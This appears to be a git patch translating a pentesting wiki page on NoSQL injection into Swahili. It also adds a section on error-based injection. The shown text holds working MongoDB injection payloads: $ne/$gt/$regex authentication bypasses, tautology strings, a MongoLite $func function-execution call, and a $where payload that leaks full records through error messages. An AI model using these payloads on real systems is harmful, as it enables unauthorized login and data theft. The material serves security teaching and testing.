From 085b327a02118c73485bc483724edb391e659840 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 8 Jul 2025 19:39:49 +0000 Subject: [PATCH] Translated ['src/pentesting-web/nosql-injection.md'] to sw --- src/pentesting-web/nosql-injection.md | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 384d24eee..1ebb4d71a 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -6,7 +6,7 @@ Katika PHP unaweza kutuma Array ukibadilisha parameter iliyotumwa kutoka _parameter=foo_ hadi _parameter\[arrName]=foo._ -Mifumo ya unyakuzi inategemea kuongeza **Operator**: +Mifumo ya uhalifu inategemea kuongeza **Operator**: ```bash username[$ne]=1$password[$ne]=1 # username[$regex]=^adm$password[$ne]=1 #Check a , could be used to brute-force a parameter @@ -17,7 +17,7 @@ username[$ne]=admin&pass[$gt]=s # username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 # (not test and not admin) { $where: "this.credits == this.debits" }#, can be used to execute code ``` -### Mipango ya msingi ya uthibitishaji +### Mipango ya kuzunguka uthibitisho wa msingi **Kutumia si sawa ($ne) au kubwa ($gt)** ```bash @@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true ```javascript query = { $where: `this.username == '${username}'` } ``` -Mshambuliaji anaweza kutumia hili kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kutimiza sharti kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` hutumiwa kubadilisha maswali ya SQL. Katika MongoDB, sindano zinazofanana zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`. +Mshambuliaji anaweza kutumia hili kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kutimiza hali hiyo kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` linatumika kubadilisha maswali ya SQL. Katika MongoDB, sindano kama hizo zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`. ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a @@ -78,7 +78,7 @@ in JSON ``` ### PHP Arbitrary Function Execution -Kwa kutumia opereta **$func** wa maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kwa chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi yoyote kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/). +Kwa kutumia opereta **$func** ya maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kama chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi yoyote kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/). ```python "user":{"$func": "var_dump"} ``` @@ -88,7 +88,7 @@ Kwa kutumia opereta **$func** wa maktaba ya [MongoLite](https://github.com/agent Inawezekana kutumia [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kupata taarifa kutoka kwa mkusanyiko tofauti. Katika mfano ufuatao, tunasoma kutoka kwa **mkusanyiko tofauti** unaoitwa **`users`** na kupata **matokeo ya kila ingizo** lenye nenosiri linalolingana na wildcard. -**KUMBUKA:** `$lookup` na kazi nyingine za kuunganisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida zaidi za `find()` au `findOne()`. +**KUMBUKA:** `$lookup` na kazi nyingine za kujumlisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida za `find()` au `findOne()`. ```json [ { @@ -108,6 +108,12 @@ Inawezekana kutumia [**$lookup**](https://www.mongodb.com/docs/manual/reference/ } ] ``` +### Error-Based Injection + +Injiza `throw new Error(JSON.stringify(this))` katika kipengele cha `$where` ili kutoa hati kamili kupitia makosa ya JavaScript ya upande wa seva (inahitaji programu kutoa makosa ya database). Mfano: +```json +{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } +``` ## MongoDB Payloads Orodha [kutoka hapa](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) @@ -229,5 +235,6 @@ get_password(u) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) +- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) {{#include ../banners/hacktricks-training.md}}